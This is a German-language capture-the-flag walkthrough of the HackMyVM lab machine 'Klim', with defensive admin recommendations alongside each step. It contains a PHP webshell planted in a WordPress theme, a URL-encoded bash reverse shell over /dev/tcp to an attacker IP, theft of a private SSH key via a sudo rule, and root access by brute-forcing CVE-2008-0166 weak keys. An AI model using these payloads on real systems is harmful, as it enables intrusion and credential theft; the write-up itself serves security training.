Klim - HackMyVM - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
nmap
gobuster
wpscan
hydra
nikto
curl
stegseek
cat
nc (netcat)
python3
stty
sudo
chmod
ssh
find
uname
env
ss
mysql
ssh-keygen
wget
tar
python2
ls
cd
id

Inhaltsverzeichnis

Reconnaissance

┌─[root@cyber]─[~] └──╼ #arp-scan -l
192.168.2.115	08:00:27:8d:5f:5a	PCS Systemtechnik GmbH

Analyse: Der ARP-Scan identifiziert das Zielsystem im lokalen Netzwerk unter der IP `192.168.2.115`. Die MAC-Adresse deutet auf eine VirtualBox-VM hin.

Bewertung: Das Ziel wurde erfolgreich lokalisiert.

Empfehlung (Pentester): Führen Sie einen Nmap-Scan auf `192.168.2.115` durch. Optional: Fügen Sie einen Hostnamen (z.B. `klim.hmv`) in `/etc/hosts` hinzu.
Empfehlung (Admin): Netzwerksegmentierung und ARP-Scan-Detection.

┌─[root@cyber]─[~] └──╼ #nmap -sS -sC -T5 -A 192.168.2.115 -p-
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-06 22:30 CET
Nmap scan report for klim (192.168.2.115)
Host is up (0.00018s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 
| ssh-hostkey:
|   2048 81:f5:0a:b3:b5:0d:a6:ed:ce:53:93:05:15:17:b1:b0 (RSA)
|   256 fd:7c:3d:73:f6:a4:c1:74:7b:41:27:68:ec:54:c4:61 (ECDSA)
|_  256 8c:28:b7:7b:5d:5c:f1:29:91:4e:85:34:26:55:ac:c6 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Apache2 Ubuntu Default Page: It works Annex02! 
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:8D:5F:5A (Oracle VirtualBox virtual NIC) 
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE 
HOP RTT     ADDRESS
1   0.17 ms klim (192.168.2.115)

Nmap done: 1 IP address (1 host up) scanned in 15.92 seconds

Analyse: Der Nmap-Scan (`-sS -sC -T5 -A -p-`) identifiziert zwei offene Ports: * Port 22 (SSH): OpenSSH 7.9p1 auf Debian 10. * Port 80 (HTTP): Apache 2.4.38 auf Debian. Der Titel der Webseite lautet "Apache2 Ubuntu Default Page: It works Annex02!", was leicht vom erkannten Debian-System abweicht.

Bewertung: Die Hauptangriffsvektoren sind SSH und HTTP. Die Apache-Default-Seite deutet darauf hin, dass möglicherweise eine Anwendung in einem Unterverzeichnis liegt oder die Hauptseite noch nicht konfiguriert wurde. Die SSH-Version ist relativ aktuell.

Empfehlung (Pentester): Untersuchen Sie den Webserver (Port 80) mit Verzeichnis-Scans (Gobuster, dirb) und Schwachstellen-Scannern (Nikto, WPScan falls WordPress vermutet wird). Überprüfen Sie die SSH-Authentifizierungsmethoden.
Empfehlung (Admin): Ersetzen Sie Standard-Webseiten durch eigene Inhalte oder leere Seiten. Halten Sie SSH und Apache aktuell. Konfigurieren Sie SSH sicher (Key-Auth, kein Root-Login).

Web Enumeration (Port 80 - Wordpress)

┌─[✗]─[root@cyber]─[~] └──╼ #gobuster dir -u http://192.168.2.115 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e -x [...] -b 404,403
[...]
http://192.168.2.115/index.html           (Status: 200) [Size: 11331]
http://192.168.2.115/wordpress            (Status: 301) [Size: 318] [--> http://192.168.2.115/wordpress/]
[...]

Analyse: Ein Gobuster-Scan auf Port 80 findet neben der `index.html` ein Verzeichnis `/wordpress`, das auf `/wordpress/` weiterleitet.

Bewertung: Dies bestätigt die Vermutung: Es läuft eine WordPress-Installation im Unterverzeichnis `/wordpress`.

Empfehlung (Pentester): Konzentrieren Sie die weitere Web-Enumeration auf das Verzeichnis `/wordpress`. Verwenden Sie spezialisierte WordPress-Scanner wie `wpscan`, um Benutzer, Plugins, Themes und Schwachstellen zu finden.
Empfehlung (Admin): Halten Sie WordPress, Themes und Plugins immer auf dem neuesten Stand. Sichern Sie die WordPress-Installation (Dateiberechtigungen, Konfiguration, unnötige Dateien entfernen).

WordPress Enumeration mit WPScan:

┌──(root㉿cyber)-[~] └─# wpscan --url http://192.168.2.115/wordpress -e u --no-banner --api-token ...
[...]
Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.38 (Debian)
[...]
[+] XML-RPC seems to be enabled: http://192.168.2.115/wordpress/xmlrpc.php
[...]
[+] WordPress readme found: http://192.168.2.115/wordpress/readme.html
[...]
[+] Upload directory has listing enabled: http://192.168.2.115/wordpress/wp-content/uploads/
[...]
[+] The external WP-Cron seems to be enabled: http://192.168.2.115/wordpress/wp-cron.php
[...]
[+] WordPress version 6.1 identified (Latest, released on 2022-11-01).
[...]
[+] WordPress theme in use: twentytwenty
 | Location: http://192.168.2.115/wordpress/wp-content/themes/twentytwenty/
 | [...]
 | [!] The version is out of date, the latest version is 2.1
 | Version: 1.8 (80% confidence)
[...]
[+] Enumerating Users (via Passive and Aggressive Methods)
[...]
[i] User(s) Identified:

[+] klim
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By: [...] Login Error Messages (Aggressive Detection)
[...]

Analyse: `wpscan` wird verwendet, um die WordPress-Installation zu scannen (`-e u` für Benutzer-Enumeration). Wichtige Ergebnisse: * XML-RPC ist aktiviert (kann für Brute-Force oder DDoS missbraucht werden). * Verzeichnisauflistung im Upload-Verzeichnis ist aktiviert. * WordPress Version 6.1 (relativ aktuell zum Zeitpunkt des Scans). * Theme "twentytwenty" Version 1.8 (veraltet, neueste Version wäre 2.1). * Ein Benutzer wurde identifiziert: `klim`.

Bewertung: `wpscan` liefert wertvolle Informationen. Der Benutzer `klim` ist ein klares Ziel für Brute-Force-Angriffe auf das WP-Login. Das veraltete Theme könnte Schwachstellen enthalten.

Empfehlung (Pentester): Versuchen Sie einen Passwort-Brute-Force-Angriff auf den Benutzer `klim` für das WordPress-Login (z.B. mit `wpscan` oder `hydra`). Untersuchen Sie das veraltete "twentytwenty"-Theme auf bekannte Schwachstellen. Prüfen Sie das Upload-Verzeichnis auf interessante Dateien.
Empfehlung (Admin): Deaktivieren Sie XML-RPC, wenn es nicht benötigt wird (`add_filter('xmlrpc_enabled', '__return_false');`). Deaktivieren Sie die Verzeichnisauflistung. Halten Sie WordPress, Themes und Plugins immer aktuell.

Brute-Force Versuche:

┌─[root@cyber]─[/usr/share/wordlists] └──╼ #wpscan --url http://192.168.2.115/wordpress/wp-login.php --usernames klim --passwords /usr/share/wordlists/rockyou.txt --api-token ...
[Kein Erfolg im Log gezeigt]

Analyse: Versuch eines Passwort-Brute-Force-Angriffs mit `wpscan` gegen den WordPress-Login für den Benutzer `klim` unter Verwendung der `rockyou.txt`-Liste.

Bewertung: Im Log wird kein Erfolg angezeigt. Das Passwort für `klim` befindet sich wahrscheinlich nicht in `rockyou.txt`.

┌─[root@cyber]─[/usr/share/wordlists] └──╼ #hydra -l klim -P /usr/share/wordlists/rockyou.txt ssh://192.168.2.115:22 -t 64 -I
[...]
[ERROR] target ssh://192.168.2.115:22/ does not support password authentication (method reply 4).

Analyse: Versuch eines Passwort-Brute-Force-Angriffs mit `hydra` gegen den SSH-Dienst für den Benutzer `klim`.

Bewertung: Schlägt sofort fehl, da der SSH-Server keine Passwort-Authentifizierung unterstützt (nur Key-Authentifizierung).

Empfehlung (Pentester): Passwort-Brute-Force ist hier nicht zielführend. Suchen Sie nach anderen Wegen, wie Informationslecks, Steganographie oder Schwachstellen in Themes/Plugins.
Empfehlung (Admin): Die Deaktivierung der SSH-Passwort-Authentifizierung ist eine gute Sicherheitspraxis.

Weitere Webserver-Checks:

┌─[root@cyber]─[~] └──╼ #nikto -h klim [...]
- Nikto v2.1.5
[...]
+ Server: Apache/2.4.38 (Debian)
+ Server leaks inodes via ETags, header found with file /, fields: 0x2c43 0x5c7ee8d2c147e
+ The anti-clickjacking X-Frame-Options header is not present.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: GET, POST, OPTIONS, HEAD 
+ /icons/README: Apache default file found.
+ Uncommon header 'link' found, with contents: ; rel="https://api.w.org/" 
+ /wordpress/: A Wordpress installation was found.
[...]

Analyse: Ein `nikto`-Scan liefert zusätzliche Informationen: ETag-Inode-Leak (geringes Risiko), fehlende Header, erlaubte HTTP-Methoden, Standard-Apache-Datei `/icons/README`, Hinweis auf die WP-JSON-API und bestätigt die WordPress-Installation.

Bewertung: Keine kritischen Funde durch Nikto, bestätigt aber WordPress und die WP-API.

┌──(root㉿cyber)-[~] └─# curl -Iv "http://192.168.2.115"
*   Trying 192.168.2.115:80...
* Connected to 192.168.2.115 (192.168.2.115) port 80 (#0)
> HEAD / HTTP/1.1
> Host: 192.168.2.115
> User-Agent: curl/7.86.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK

< ETag: "2c43-5c7ee8d2c147e"
[...]
< Content-Type: text/html

* Connection #0 to host 192.168.2.115 left intact

Analyse: `curl -Iv` ruft die Header der Startseite ab und bestätigt die vorherigen Funde (Server, ETag).

┌──(root㉿cyber)-[~] └──╼ #wpscan --url http://192.168.2.115/wordpress/wp-login.php --wp-content-dir /wp-content/ --enumerate vp --plugins-detection aggressive
[Keine verwundbaren Plugins (vp) im Log gefunden]

Analyse: Ein weiterer `wpscan`-Lauf, diesmal zur Enumeration von verwundbaren Plugins (`--enumerate vp`).

Bewertung: Keine verwundbaren Plugins laut diesem Scan gefunden.

┌──(root㉿cyber)-[~] └──╼ #gobuster dir -u "http://192.168.2.115/wordpress" -e -x [...] -w [...] -t 100
[...]
http://192.168.2.115/wordpress/index.php            (Status: 301) [Size: 0] [--> http://192.168.2.115/wordpress/]
http://192.168.2.115/wordpress/wp-content           (Status: 301) [Size: 329] [--> http://192.168.2.115/wordpress/wp-content/]
http://192.168.2.115/wordpress/wp-login.php         (Status: 200) [Size: 5380]
http://192.168.2.115/wordpress/license.txt          (Status: 200) [Size: 19915]
http://192.168.2.115/wordpress/wp-includes          (Status: 301) [Size: 330] [--> http://192.168.2.115/wordpress/wp-includes/]
http://192.168.2.115/wordpress/readme.html          (Status: 200) [Size: 7389]
http://192.168.2.115/wordpress/wp-trackback.php     (Status: 200) [Size: 135]
http://192.168.2.115/wordpress/wp-admin             (Status: 301) [Size: 327] [--> http://192.168.2.115/wordpress/wp-admin/]
http://192.168.2.115/wordpress/xmlrpc.php           (Status: 405) [Size: 42] 

Analyse: Ein weiterer Gobuster-Scan, diesmal auf das `/wordpress`-Verzeichnis, listet Standard-WordPress-Dateien und -Verzeichnisse auf.

Bewertung: Bestätigt die WordPress-Struktur, liefert aber keine neuen Angriffspunkte.

Steganographie & Info Leak

Kontext: Da die bisherige Web-Enumeration keinen direkten Einstiegspunkt lieferte, wird nach versteckten Informationen gesucht. Die Herkunft der Datei `image.jpg` ist im Log nicht dokumentiert, aber sie muss von der WordPress-Seite stammen (möglicherweise aus `/wp-content/uploads/` oder einem Beitrag).

┌──(root㉿cyber)-[~] └──╼ #stegseek image.jpg /usr/share/wordlists/rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: "ichliebedich"
[i] Original filename: "dump".
[i] Extracting to "image.jpg.out".
the file "image.jpg.out" does already exist. overwrite ? (y/n) y

Analyse: `stegseek` wird auf `image.jpg` angewendet und findet erfolgreich das Steghide-Passwort `ichliebedich` aus der `rockyou.txt`-Liste. Eine versteckte Datei namens `dump` wird als `image.jpg.out` extrahiert.

Bewertung: Kritischer Fund! Steganographie war erfolgreich. Das Passwort und die extrahierte Datei sind vielversprechend.

Empfehlung (Pentester): Analysieren Sie den Inhalt der extrahierten Datei `image.jpg.out` (`dump`).
Empfehlung (Admin): Überwachen Sie öffentlich zugängliche Bilder auf versteckte Inhalte. Verwenden Sie keine leicht zu erratenden Passwörter für Steganographie (falls bewusst eingesetzt).

┌──(root㉿cyber)-[~] └──╼ #cat image.jpg.out
12:37:55.063762 IP 192.168.0.25.49826 > 192.168.0.26.http: Flags [P.], seq 1:723, ack 1, win 502, options [nop,nop,TS val 3112372226 ecr 1669828406], length 722: HTTP: POST /wordpress/wp-login.php HTTP/1.1
[...]
log=klim&pwd=ss7WhrrnnHZC%239bQn&wp-submit=Log+In&redirect_to=[...]
[...]

Analyse: Der Inhalt der extrahierten Datei `dump` (`image.jpg.out`) ist ein Ausschnitt eines Netzwerk-Captures (ähnlich tcpdump-Ausgabe). Er zeigt einen HTTP-POST-Request an `/wordpress/wp-login.php` mit den Anmeldedaten: Benutzername `klim` und Passwort `ss7WhrrnnHZC#9bQn` (das `#` ist URL-kodiert als `%23`).

Bewertung: Kritischer Fund! Gültige WordPress-Anmeldedaten für den Benutzer `klim` wurden durch Steganographie aufgedeckt.

Empfehlung (Pentester): Loggen Sie sich mit den gefundenen Zugangsdaten (`klim`:`ss7WhrrnnHZC#9bQn`) in das WordPress-Admin-Panel (`/wordpress/wp-admin/`) ein.
Empfehlung (Admin): Speichern Sie keine Netzwerk-Captures mit Klartext-Passwörtern oder verstecken Sie sie nicht mittels Steganographie. Schulen Sie Benutzer im sicheren Umgang mit Passwörtern.

RCE via Wordpress Theme Edit (POC)

Ziel: Demonstration der Ausnutzung des WordPress-Admin-Zugangs (`klim`), um durch Bearbeiten einer Theme-Datei (hier `404.php`) eine Webshell zu platzieren und Remote Code Execution (RCE) als `www-data` zu erlangen.

Voraussetzungen: * Zugangsdaten für einen WordPress-Benutzer mit Rechten zum Bearbeiten von Themes (hier `klim`:`ss7WhrrnnHZC#9bQn`). * Zugriff auf das WordPress-Admin-Panel (`/wp-admin/`). * Ein Angreifer-System mit Netcat-Listener.

Risiko: Kritisch. Erlaubt die vollständige Übernahme des Webservers im Kontext des `www-data`-Benutzers durch Ausführung beliebigen PHP-Codes.

Schritt 1: Theme-Datei bearbeiten (Impliziert)

// Aktion im WordPress-Admin-Panel (als 'klim' eingeloggt):
// Gehe zu Design -> Theme-Datei-Editor
// Wähle Theme "Twenty Nineteen" aus.
// Wähle Template "404 Template (404.php)" aus.
// Füge den PHP-Code für eine Webshell ein: system($GET['cmd']);
// Speichere die Änderungen.

Analyse: Nach dem Login als `klim` wird der Theme-Editor verwendet, um die `404.php`-Datei des aktiven Themes ("Twenty Nineteen") zu bearbeiten. Eine einfache PHP-Webshell (`system($GET['cmd']);`) wird eingefügt.

Bewertung: Eine Hintertür wurde erfolgreich im Theme platziert. Jedes Mal, wenn eine nicht existierende Seite aufgerufen wird (was die 404.php auslöst), kann nun über den `cmd`-Parameter Code ausgeführt werden.

Empfehlung (Admin): Deaktivieren Sie den Theme- und Plugin-Editor im WordPress-Admin-Panel, wenn er nicht benötigt wird (`define('DISALLOW_FILE_EDIT', true);` in `wp-config.php`). Beschränken Sie die Berechtigungen von WordPress-Benutzern.

Schritt 2: RCE testen

http://192.168.2.115/wordpress/wp-content/themes/twentynineteen/404.php?cmd=ls
                       
404.php
archive.php
classes
comments.php
fonts
footer.php
[...]
style.scss
template-parts
                       

Analyse: Die manipulierte `404.php` wird direkt aufgerufen (obwohl ein Aufruf einer nicht existierenden Seite den gleichen Effekt hätte) und der Befehl `ls` wird über den `cmd`-Parameter übergeben. Die Ausgabe des `ls`-Befehls (Dateien im Theme-Verzeichnis) wird zurückgegeben.

Bewertung: RCE als `www-data` (der Benutzer, unter dem PHP/Apache läuft) ist bestätigt.

Schritt 3: Reverse Shell starten

┌──(root㉿cyber)-[~] └──╼ #nc -lvnp 9001
listening on [any] 9001 ...
http://192.168.2.115/wordpress/wp-content/themes/twentynineteen/404.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.121%2F9001%200%3E%261%27
                      

Analyse: Ein Netcat-Listener wird gestartet. Die RCE-Schwachstelle wird genutzt, um einen URL-kodierten Bash-Reverse-Shell-Payload auszuführen, der sich zur Angreifer-IP `192.168.2.121` auf Port `9001` verbindet.

Schritt 4: Shell als www-data empfangen

listening on [any] 9001 ...
connect to [192.168.2.121] from (UNKNOWN) [192.168.2.115] 46068
bash: cannot set terminal process group (512): Inappropriate ioctl for device
bash: no job control in this shell
www-data@klim:/var/www/html/wordpress/wp-content/themes/twentynineteen$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Ergebnis: Der Listener empfängt die Verbindung und stellt eine Shell als `www-data` bereit.

Bewertung: Initialer Shell-Zugriff als `www-data` erfolgreich erlangt.

Empfehlung (Admin): Theme-/Plugin-Editor deaktivieren. WordPress-Berechtigungen härten. Dateisystemüberwachung implementieren.

Shell-Stabilisierung (wie zuvor):

www-data@klim:/var/www/html/wordpress/wp-content/themes/twentynineteen$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@klim:/var/www/html/wordpress/wp-content/themes/twentynineteen$ export TERM=xterm
www-data@klim:/var/www/html/wordpress/wp-content/themes/twentynineteen$ ^Z
┌──(root㉿cyber)-[~] └──╼ #stty raw -echo;fg
reset
www-data@klim:/var/www/html/wordpress/wp-content/themes/twentynineteen$

Analyse: Die `www-data`-Shell wird stabilisiert.

Privilege Escalation (www-data zu klim - POC)

Ziel: Demonstration der Ausnutzung einer `sudo`-Regel, die es `www-data` erlaubt, das benutzerdefinierte Tool `/home/klim/tool` als `klim` auszuführen, um dessen privaten SSH-Schlüssel zu lesen.

Voraussetzungen: * Shell als `www-data`. * Die spezifische `sudo`-Regel `(klim) NPASSWD: /home/klim/tool`. * Die Annahme, dass `/home/klim/tool` Dateiinhalte lesen oder Befehle ausführen kann, wenn ein Dateipfad als Argument übergeben wird.

Risiko: Hoch. Ermöglicht die Kompromittierung des `klim`-Kontos durch Diebstahl des privaten SSH-Schlüssels.

Schritt 1: sudo-Regel prüfen

www-data@klim:/var/www/html/wordpress$ cat wp-config.php
[...]
define( 'DB_USER', 'wordpress_user' );
define( 'DB_PASSWORD', 'Tropicano123!' ); 
[...]
www-data@klim:/var/www/html/wordpress$ ls /home/
klim
www-data@klim:/var/www/html/wordpress$ sudo -l
Matching Defaults entries for www-data on klim:
    env_reset, mail_badpass, secure_path=...

User www-data may run the following commands on klim:
    (klim) NPASSWD: /home/klim/tool

Analyse: Nach dem Lesen der `wp-config.php` (Datenbank-Creds `wordpress_user:Tropicano123!`) und der Bestätigung des `klim`-Home-Verzeichnisses zeigt `sudo -l`, dass `www-data` das Programm `/home/klim/tool` als Benutzer `klim` ohne Passwort ausführen darf.

Bewertung: Dies ist der Hebel für die nächste Eskalation. Die Funktion von `tool` ist noch unbekannt, aber die Ausführung als `klim` ist der Schlüssel.

Schritt 2: SSH-Schlüssel von klim auslesen

www-data@klim:/home/klim$ sudo -u klim /home/klim/tool /home/klim/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY----- 
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
[...] 
-----END OPENSSH PRIVATE KEY----- 

Analyse: Das `tool` wird mit `sudo -u klim` ausgeführt, und der Pfad zum privaten SSH-Schlüssel von `klim` (`/home/klim/.ssh/id_rsa`) wird als Argument übergeben. Das Tool gibt den Inhalt des privaten Schlüssels auf der Konsole aus.

Bewertung: Erfolg! Das `tool` fungiert als eine Art `cat`-Befehl oder Dateileser, der mit den Rechten des Zielbenutzers (`klim`) ausgeführt wird. Der private SSH-Schlüssel von `klim` wurde kompromittiert.

Empfehlung (Pentester): Speichern Sie den privaten Schlüssel von `klim`. Verwenden Sie ihn, um sich per SSH als `klim` anzumelden.
Empfehlung (Admin): Diese `sudo`-Regel ist extrem gefährlich. Erlauben Sie niemals die Ausführung von benutzerdefinierten Tools oder Tools mit Dateilesefunktionen als andere Benutzer, wenn der ausführende Benutzer den Pfad kontrollieren kann. Benennen Sie das Tool um oder entfernen Sie es. Entfernen Sie die `sudo`-Regel.

SSH Access (klim) & Enumeration

┌──(root㉿cyber)-[~] └──╼ #chmod 600 klim.id_rsa
[Berechtigungen gesetzt]
┌──(root㉿cyber)-[~] └──╼ #ssh klim@klim.hmv -i klim.id_rsa
Linux klim 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64
[...]
Last login: Sun Jul 25 12:19:50 2021 from 192.168.0.28
klim@klim:~$

Analyse: Der zuvor extrahierte private SSH-Schlüssel von `klim` wird verwendet, um eine SSH-Verbindung als Benutzer `klim` herzustellen.

Bewertung: Erfolgreicher Login als `klim`.

Enumeration als `klim`:

klim@klim:~$ sudo -l
[...]
[sudo] Mot de passe de klim : [Passwort erforderlich]
klim@klim:~$ find / -type f -perm -4000 -ls 2>/dev/null
[...] 
klim@klim:~$ cat /etc/*rel*
PRETTY_NAME="Debian GNU/Linux 10 (buster)"
[...]
klim@klim:~$ uname -a
Linux klim 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64 GNU/Linux
klim@klim:~$ env
[...] LANG=fr_FR.UTF-8 [...]
klim@klim:~$ cat user.txt
2fbef74059deaea1e5e11cff5a65b68e
klim@klim:~$ ss -tuloe
[...] tcp LISTEN 0 80 127.0.0.1:mysql [...]

Analyse: Standard-Enumerationsschritte als `klim`: * `sudo -l`: Erfordert Passwort. * SUID-Suche: Keine ungewöhnlichen Funde. * OS-Info: Debian 10, Kernel 4.19.0. * Umgebungsvariablen: `LANG` ist auf Französisch gesetzt. * User-Flag: Erfolgreich gelesen. * Netzwerk-Sockets: Bestätigt lauschende Dienste (SSH, MySQL auf localhost, HTTP).

Bewertung: Keine direkten `sudo`-Rechte. User-Flag erhalten. Systeminformationen für Exploit-Suche notiert.

Datenbank-Zugriff als `klim`:

klim@klim:~$ mysql -u wordpress_user -p
Enter password: Tropicano123!
[...]
MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| wordpress_db       |
+--------------------+
MariaDB [(none)]> use wordpress_db;
Database changed
MariaDB [wordpress_db]> show tables;
+------------------------+
| Tables_in_wordpress_db |
+------------------------+
[...] | wp_users               | [...]
+------------------------+
MariaDB [wordpress_db]> select * from wp_users;
+----+------------+------------------------------------+---------------+----------------+-------------------------------+---------------------+---------------------+-------------+--------------+
| ID | user_login | user_pass                          | user_nicename | user_email     | user_url                      | user_registered     | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+----------------+-------------------------------+---------------------+---------------------+-------------+--------------+
|  1 | klim       | $P$B/EL8AVNDfGeYvQqnsCbn2o7G2urQi/ | klim          | klim@gmail.com | http://192.168.0.26/wordpress | 2021-07-24 10:29:28 |                     |           0 | klim         |
+----+------------+------------------------------------+---------------+----------------+-------------------------------+---------------------+---------------------+-------------+--------------+

Analyse: `klim` loggt sich mit den bekannten WordPress-Datenbank-Credentials (`wordpress_user:Tropicano123!`) in MySQL ein. Die `wp_users`-Tabelle wird ausgelesen.

Bewertung: Bestätigt den Benutzer `klim` und dessen Passwort-Hash (`$P$B...` -> PHPass-Format, verwendet von älteren WordPress-Versionen oder portablen Hashes). Dieser Hash ist schwer offline zu knacken.

Empfehlung (Pentester): Der Datenbankzugriff liefert hier keine neuen, verwertbaren Zugangsdaten. Suchen Sie nach anderen Eskalationsvektoren.
Empfehlung (Admin): Beschränken Sie den Datenbankzugriff auf das Notwendigste. Verwenden Sie separate Datenbankbenutzer für verschiedene Anwendungen.

Suche nach SSH-Schlüsseln:

klim@klim:~$ cd /opt/
klim@klim:/opt$ ls -la
[...]
-rw-r--r--  1 root root  391 juil. 24  2021 id_rsa.pub
klim@klim:/opt$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1bWurED/[...] root@klim
klim@klim:/opt$ find / -type f -name *rsa* 2>/dev/null
/opt/id_rsa.pub
/home/klim/.ssh/id_rsa.pub
klim@klim:/opt$ ssh-keygen -l -f id_rsa.pub
2048 SHA256:k70roJKrxWXDX3ceR1RZKyRUoVTtf4KtDlfr2GJzAwo root@klim (RSA)

Analyse: Im Verzeichnis `/opt` wird ein öffentlicher SSH-Schlüssel (`id_rsa.pub`) gefunden, der `root` gehört und mit `root@klim` kommentiert ist. Eine Suche nach `*rsa*` findet nur diesen und den öffentlichen Schlüssel von `klim`.

Bewertung: Der Fund des öffentlichen Root-Schlüssels ist interessant. Der Fingerprint wird extrahiert. Dies könnte auf eine bekannte Schwachstelle im Zusammenhang mit schwachen SSH-Schlüsseln hindeuten.

Empfehlung (Pentester): Recherchieren Sie nach bekannten Schwachstellen im Zusammenhang mit schwachen SSH-Schlüsseln unter Debian, insbesondere CVE-2008-0166 (OpenSSL Predictable PRNG). Vergleichen Sie den Fingerprint mit bekannten schwachen Schlüsseln.
Empfehlung (Admin): Stellen Sie sicher, dass Systeme gepatcht sind und keine bekannten schwachen Schlüssel verwenden. Speichern Sie keine Schlüssel an ungewöhnlichen Orten wie `/opt`.

Privilege Escalation (klim zu root - POC)

Ziel: Demonstration der Ausnutzung der Debian OpenSSL Predictable PRNG Schwachstelle (CVE-2008-0166), um den privaten SSH-Schlüssel des Root-Benutzers zu finden und sich als Root anzumelden.

Voraussetzungen: * Shell als `klim`. * Das Zielsystem muss eine verwundbare Debian-Version mit dem fehlerhaften OpenSSL-Paket sein (Debian 4.0 Etch, frühe Versionen von 5.0 Lenny; Ubuntu 7.04 - 8.04). Obwohl das System als Debian 10 identifiziert wurde, könnte der SSH-Schlüssel von einer älteren Installation stammen oder die Schwachstelle aus anderen Gründen bestehen. * Zugriff auf eine Datenbank mit vorab generierten schwachen Schlüsseln (z.B. `exploitdb-bin-sploits/5622.tar.bz2`). * Ein Tool zum Testen der Schlüssel gegen den SSH-Server (hier `opensslHack.py`, Herkunft unklar).

Risiko: Kritisch. Erlaubt die Kompromittierung des Root-SSH-Zugangs, wenn ein schwacher Schlüssel verwendet wird.

Schritt 1: Exploit-Datenbank herunterladen (Angreifer)

┌──(root㉿cyber)-[~/Hackingtools] └─# wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/5622.tar.bz2
[...]
2022-11-07 00:15:52 (12,0 MB/s) - 5622.tar.bz2 gespeichert [50226987/50226987]
┌──(root㉿cyber)-[~/Hackingtools] └─# tar xfv 5622.tar.bz2
rsa/
rsa/2048/
rsa/2048/2712a6d5cec99f295a0c468b830a370d-28940.pub
[...]

Analyse: Das Archiv `5622.tar.bz2` von Exploit-DB wird heruntergeladen und entpackt. Es enthält eine Sammlung von bekannten schwachen SSH-Schlüsseln (RSA, 2048 Bit), die aufgrund von CVE-2008-0166 generiert wurden.

Bewertung: Die notwendige Datenbank schwacher Schlüssel ist nun lokal verfügbar.

Schritt 2: Exploit-Skript vorbereiten (Angreifer)

┌──(root㉿cyber)-[~/Hackingtools] └─# vi opensslHack.py
┌──(root㉿cyber)-[~/Hackingtools] └─# chmod +x opensslHack.py

Analyse: Ein Python-Skript namens `opensslHack.py` wird erstellt oder bearbeitet und ausführbar gemacht. Der Inhalt ist nicht gezeigt, aber es handelt sich vermutlich um ein Skript, das die schwachen Schlüssel aus dem entpackten Verzeichnis lädt und versucht, sich damit per SSH als `root` beim Ziel anzumelden.

Bewertung: Das Werkzeug zum Testen der schwachen Schlüssel ist vorbereitet.

Schritt 3: Schwache Schlüssel testen

┌──(root㉿cyber)-[~/Hackingtools] └─# python2 opensslHack.py rsa/2048 klim.hmv root 22 5
[...]
Tested 295 keys | Remaining 32473 keys | Aprox. Speed 59/sec
[...]
Key Found in file: 54701a3b124be15d4c8d3cf2da8f0139-2005
Execute: ssh -lroot -p22 -i rsa/2048/54701a3b124be15d4c8d3cf2da8f0139-2005 klim.hmv
[...]

Analyse: Das Skript `opensslHack.py` wird mit Python 2 ausgeführt. Es erhält den Pfad zu den schwachen Schlüsseln (`rsa/2048`), das Ziel (`klim.hmv`), den Benutzernamen (`root`), den Port (`22`) und vermutlich die Anzahl der Threads (`5`). Das Skript testet die Schlüssel durch.

Bewertung: Erfolg! Das Skript findet einen passenden privaten Schlüssel (`rsa/2048/54701a3b124be15d4c8d3cf2da8f0139-2005`) aus der Datenbank, der zum öffentlichen Schlüssel des Root-Benutzers auf dem Zielsystem passt.

Empfehlung (Pentester): Verwenden Sie den gefundenen privaten Schlüssel, um sich als `root` per SSH anzumelden.
Empfehlung (Admin): Stellen Sie sicher, dass keine schwachen SSH-Schlüssel verwendet werden, die aus CVE-2008-0166 resultieren. Generieren Sie alle Schlüssel auf nicht betroffenen Systemen neu. Erneuern Sie den Root-SSH-Schlüssel.

Schritt 4: SSH-Login als Root

┌──(root㉿cyber)-[~/Hackingtools] └─# ssh -lroot -p22 -i rsa/2048/54701a3b124be15d4c8d3cf2da8f0139-2005 klim.hmv
Linux klim 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64
[...]
Last login: Wed Jul 28 10:18:38 2021
root@klim:~# ls
root.txt
root@klim:~# cat root.txt
60667e12c8ea62295de82d053d950e1f

Analyse: Der SSH-Login als `root` wird mit dem gefundenen schwachen privaten Schlüssel durchgeführt.

Bewertung: Erfolg! Der Login als `root` gelingt. Die Root-Flag wird aus `/root/root.txt` gelesen.

Empfehlung (Admin): Erneuern Sie den kompromittierten Root-SSH-Schlüssel und entfernen Sie den entsprechenden Eintrag aus `/root/.ssh/authorized_keys` (falls vorhanden).

Flags

cat /home/klim/user.txt
2fbef74059deaea1e5e11cff5a65b68e
cat /root/root.txt
60667e12c8ea62295de82d053d950e1f